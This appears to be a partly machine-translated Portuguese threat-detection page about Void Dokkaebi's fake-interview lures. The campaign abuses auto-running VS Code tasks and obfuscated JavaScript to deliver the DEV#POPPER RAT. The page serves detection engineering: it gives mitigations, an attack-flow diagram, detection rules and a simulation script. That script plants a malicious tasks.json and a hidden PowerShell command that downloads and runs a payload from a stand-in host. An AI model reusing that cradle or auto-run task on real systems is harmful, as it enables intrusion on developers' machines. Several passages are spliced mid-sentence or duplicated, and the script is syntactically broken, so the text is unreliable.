Entrevistas Falsas Usadas por Void Dokkaebi para Espalhar Malware Através de Repositórios Git
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Void Dokkaebi, um grupo de ameaça ligado à Coreia do Norte, está usando ofertas de entrevistas de emprego falsas para atrair desenvolvedores a clonar repositórios maliciosos. Uma vez abertos, esses repositórios abusam de tarefas injetadas no VS Code e JavaScript ofuscado para transformar projetos de código confiáveis em canais automatizados de entrega de malware. Repositórios infectados podem então ajudar a espalhar ainda mais a violação em ambientes de desenvolvedores e ecossistemas conectados.
Investigação
A Trend Micro descobriu mais de 750 repositórios públicos infectados, mais de 500 configurações de tarefa maliciosa do VS Code e 101 casos envolvendo um script em lotes personalizado projetado para adulterar commits. A análise mostrou que o código malicioso buscou cargas úteis através de serviços baseados em blockchain e, por fim, entregou uma variante do RAT DEV#POPPER. Esse malware se comunicou com a infraestrutura do atacante através de canais baseados tanto em WebSocket quanto HTTP.
Mitigação
As defesas recomendadas incluem isolar o código recebido através de processos de entrevista, adicionar .vscode/ to .gitignore, impor commits assinados e proteção de ramificação, e auditar repositórios em busca de marcadores de infecção conhecidos. As equipes de segurança também devem monitorar o tráfego de API de blockchain para comportamentos suspeitos e bloquear o acesso aos URLs de comando e controle identificados. Os desenvolvedores devem tratar as solicitações de confiança do espaço de trabalho do VS Code como um ponto de verificação de segurança significativo, e não como uma ação rotineira de clicar e seguir.
Resposta
Se houver suspeita de infecção, isole imediatamente a estação de trabalho afetada, revogue quaisquer credenciais expostas, remova arquivos de tarefas maliciosos e JavaScript injetado, e realize uma revisão completa do repositório impactado. As defesas de rede também devem ser atualizadas para detectar os padrões de comando e controle conhecidos e bloquear a comunicação de saída para os endpoints de blockchain identificados. task files and injected JavaScript, and perform a full review of the impacted repository. Network defenses should also be updated to detect the known command-and-control patterns and block outbound communication to the identified blockchain endpoints.
"graph TB %% Definições de classes classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Definições de nó stage_initial["<b>Stage</b> – Initial Access<br/>O atacante atrai o desenvolvedor com uma entrevista falsa e repositório Git malicioso"] class stage_initial stage tech_user_exec["<b>Technique</b> – T1204 Execução do Usuário<br/>A vítima executa conteúdo malicioso, como um link ou código copiado"] class tech_user_exec technique tech_malicious_link["<b>Technique</b> – T1204.001 Link Malicioso<br/>Link direciona a vítima para o repositório malicioso"] class tech_malicious_link technique tech_malicious_copy["<b>Technique</b> – T1204.004 Copiar e Colar Maliciosos<br/>O desenvolvedor copia código do repositório malicioso"] class tech_malicious_copy technique stage_repo_harvest["<b>Stage</b> – Coleta de Repositórios<br/>Repositório clonado dá acesso ao código-fonte e potenciais credenciais"] class stage_repo_harvest stage tech_code_repo["<b>Technique</b> – T1213.003 Dados de Repositórios de Informação: Repositórios de Código<br/>O adversário extrai dados de repositórios de código"] class tech_code_repo technique stage_execution_vs["<b>Stage</b> – Execução via VS Code<br/>.vscode/tasks.json executa downloader automaticamente ao abrir a pasta"] class stage_execution_vs stage tech_trusted_ide["<b>Technique</b> – T1127 Execução de Proxy de Utilitários de Desenvolvedor Confiáveis<br/>Abuso de extensões IDE confiáveis para executar código"] class tech_trusted_ide technique tech_ide_ext["<b>Technique</b> – T1176.002 Extensões de Software: Extensões IDE<br/>O tasks.json malicioso aciona a execução"] class tech_ide_ext technique file_tasks_json["<b>File</b> – .vscode/tasks.json<br/>Configurado com runOn folderOpen para iniciar o downloader"] class file_tasks_json file stage_payload_retrieval["<b>Stage</b> – Recuperação de Carga<br/>Downloader busca cargas úteis dos endpoints RPC de blockchain"] class stage_payload_retrieval stage tech_resource_hijack["<b>Technique</b> – T1496 Sequestro de Recursos<br/>Utiliza infraestrutura blockchain para entrega de cargas úteis"] class tech_resource_hijack technique tech_obfuscation["<b>Technique</b> – T1027.007 Arquivos ou Informações Ofuscadas: Resolução Dinâmica de API<br/>O código esconde endpoints de API e os resolve em tempo de execução"] class tech_obfuscation technique indicator_blockchain["<b>Indicador</b> – Conexões RPC de blockchain saídas<br/>Chamadas para api.trongrid.io, aptoslabs.com e RPC BSC"] class indicator_blockchain indicator stage_module_hijack["<b>Stage</b> – Sequestro de Módulos<br/>Diretório .node_modules oculto colocado para pré-carregar módulos Node maliciosos"] class stage_module_hijack stage tech_shared_modules["<b>Technique</b> – T1129 Módulos Compartilhados<br/>Módulo malicioso carregado antes dos legítimos"] class tech_shared_modules technique file_node_modules["<b>File</b> – Diretório .node_modules<br/>Contém módulo sequestrado"] class file_node_modules file stage_rat_deployment["<b>Stage</b> – Implantação de RAT<br/>A variante DEV#POPPER RAT estabelece WebSocket C2 e exfiltra dados"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>WebSocket C2, exfiltração de arquivos, evita pipelines CI/CD"] class malware_devpopper malware indicator_c2["<b>Indicador</b> – URLs WebSocket C2"] class indicator_c2 indicator stage_persistence["<b>Stage</b> – Persistência e Manipulação de Commits<br/>JavaScript malicioso injetado em arquivos de configuração e script em lotes altera commits"] class stage_persistence stage tech_timestomp["<b>Technique</b> – T1070.006 Remoção de Indicador: Timestomp<br/>Altera o relógio do sistema para retroceder a data dos commits"] class tech_timestomp technique file_postcss["<b>File</b> – postcss.config.mjs<br/>JavaScript ofuscado injetado"] class file_postcss file file_batch["<b>File</b> – temp_auto_push.bat<br/>Automatiza alterações de commit e força o push"] class file_batch file stage_propagation["<b>Stage</b> – Propagação<br/>Pasta .vscode maliciosa e código commitados, desenvolvedores a jusante herdam a infecção"] class stage_propagation stage tech_propagation["<b>Technique</b> – T1127 Execução de Proxy de Utilitários de Desenvolvedor Confiáveis<br/>Abuso repetido de IDE em repositórios clonados"] class tech_propagation technique tech_repo_spread["<b>Technique</b> – T1213.003 Dados de Repositórios de Informação<br/>Código malicioso se espalha via compartilhamento de repositórios"] class tech_repo_spread technique indicator_detection["<b>Indicador</b> – Deteção de IOCs<br/>RPC de blockchain, WebSocket C2, caminhos HTTP /verify-human/ e /u/f"] class indicator_detection indicator %% Conexões stage_initial –>|usa| tech_user_exec tech_user_exec –>|inclui| tech_malicious_link tech_user_exec –>|inclui| tech_malicious_copy tech_malicious_link –>|entrega| stage_repo_harvest tech_malicious_copy –>|entrega| stage_repo_harvest stage_repo_harvest –>|explora| tech_code_repo stage_repo_harvest –>|leva a| stage_execution_vs stage_execution_vs –>|usa| tech_trusted_ide stage_execution_vs –>|usa| tech_ide_ext stage_execution_vs –>|executa| file_tasks_json stage_execution_vs –>|aciona| stage_payload_retrieval stage_payload_retrieval –>|usa| tech_resource_hijack stage_payload_retrieval –>|usa| tech_obfuscation stage_payload_retrieval –>|cria| indicator_blockchain stage_payload_retrieval –>|leva a| stage_module_hijack stage_module_hijack –>|usa| tech_shared_modules stage_module_hijack –>|contém| file_node_modules stage_module_hijack –>|leva a| stage_rat_deployment stage_rat_deployment –>|implanta| malware_devpopper malware_devpopper –>|comunica-se com| indicator_c2 stage_rat_deployment –>|prepara para| stage_persistence stage_persistence –>|usa| tech_timestomp stage_persistence –>|modifica| file_postcss stage_persistence –>|executa| file_batch stage_persistence –>|ativa| stage_propagation stage_propagation –>|usa| tech_propagation stage_propagation –>|usa| tech_repo_spread stage_propagation –>|produz| indicator_detection "
Fluxo de Ataque
Detecções
Possível Tentativa de Abuso do Ethereum Publicnode Como Canal C2 (via consulta_dns)
Ver
Possível Infiltração/Exfiltração de Dados/C2 via Serviços/Ferramentas de Terceiros (via proxy)
Ver
Possível Infiltração/Exfiltração de Dados/C2 via Serviços/Ferramentas de Terceiros (via dns)
Ver
Possível Arquivo de Configuração de Tarefas Automáticas do Vscode Criado em Diretório Incomum [MACOS] (via evento_arquivo)
Ver
Possível Arquivo de Configuração de Tarefas Automáticas do Vscode Criado em Diretório Incomum [LINUX] (via evento_arquivo)
Ver
IOCs (SourceIP) para detectar: Iscas de Entrevista Falsas Usadas por Void Dokkaebi para Espalhar Malware Através de Repositórios Git
Ver
IOCs (DestinationIP) para detectar: Iscas de Entrevista Falsas Usadas por Void Dokkaebi para Espalhar Malware Através de Repositórios Git
Ver
Detecção de Tarefas Maliciosas do Void Dokkaebi VS Code e JavaScript Ofuscado [Evento de Arquivo do Windows]
Ver
Execução de Simulação
Pré-requisito: O Teste de Pré-voo de Telemetria e Linha de Base deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) destinada a acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa de Ataque e Comandos:
Um atacante que convenceu um desenvolvedor a clonar um repositório malicioso solta um VS Code encobertotasks.jsonno projetoarquivos de tarefas maliciosos e JavaScript injetado, e realize uma revisão completa do repositório impactado. As defesas de rede também devem ser atualizadas para detectar os padrões de comando e controle conhecidos e bloquear a comunicação de saída para os endpoints de blockchain identificados.pasta. A tarefa refere-se a umtemp_auto_push.batscript localizado no diretório temporário do sistema. O arquivo em lotes é gerado instantaneamente a partir de um trecho de JavaScript ofuscado que incorpora os marcadoresglobal['!']andglobal['_V']. Quando o desenvolvedor abre a pasta no VS Code, a tarefa é executada automaticamente, executando o arquivo em lotes, que finalmente se conecta a um servidor C2. Essa cadeia cumpre T1053.007 (tarefa do VS Code), T1127.003 (atalho persistente via lote), e T1027.007 (ofuscação).Os passos são:
- Coloque o
tasks.jsonmalicioso com as strings necessárias. - Crie o JavaScript ofuscado , que, quando avaliado, escreve
temp_auto_push.batcontendo o comando malicioso. - Acione a execução da tarefa do VS Code (simulada acionando a tarefa via
code --folder-uriCLI).
- Coloque o
-
Script de Teste de Regressão:
# ------------------------------------------------- # Simulação de Tarefa e JS Ofuscado do VS Code Void Dokkaebi # ------------------------------------------------- $vscodeDir = "$env:USERPROFILE.vscode" $taskFile = Join-Path $vscodeDir "tasks.json" $tempBat = "$env:TEMPtemp_auto_push.bat" $jsPayload = @" (function(){ var g = global; g['!'] = true; // marcador para detecção g['_V'] = 'payload'; var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"'; var fso = new ActiveXObject('Scripting.FileSystemObject'); var file = fso.CreateTextFile('$tempBat', true); file.WriteLine(cmd); file.Close(); })(); "@ # 1. Certifique-se de que a pasta .vscode exista New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null # 2. Escrever tasks.json malicioso @" { "version": "2.0.0", "tasks": [ { "label": "AutoPush", "type": "shell", "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS" } ] } "@ | Set-Content -Path $taskFile -Encoding UTF8 # 3. (Opcional) Invoque diretamente a tarefa para imitar a execução automática do VS Code # Nota: Em um ambiente real, o VS Code analisaria e executaria essa tarefa. Write-Host "Tarefa maliciosa do VS Code implantada. Acionando via execução simulada..." cscript //nologo //E:jscript //B - <<'JS' $jsPayload JS Write-Host "Simulação concluída. Verifique o SIEM para alerta." -
Comandos de Limpeza:
# Remove artefatos maliciosos Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue # Opcionalmente, limpe o diretório .vscode se ele foi criado apenas para o teste if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) { Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue } Write-Host "Limpeza concluída."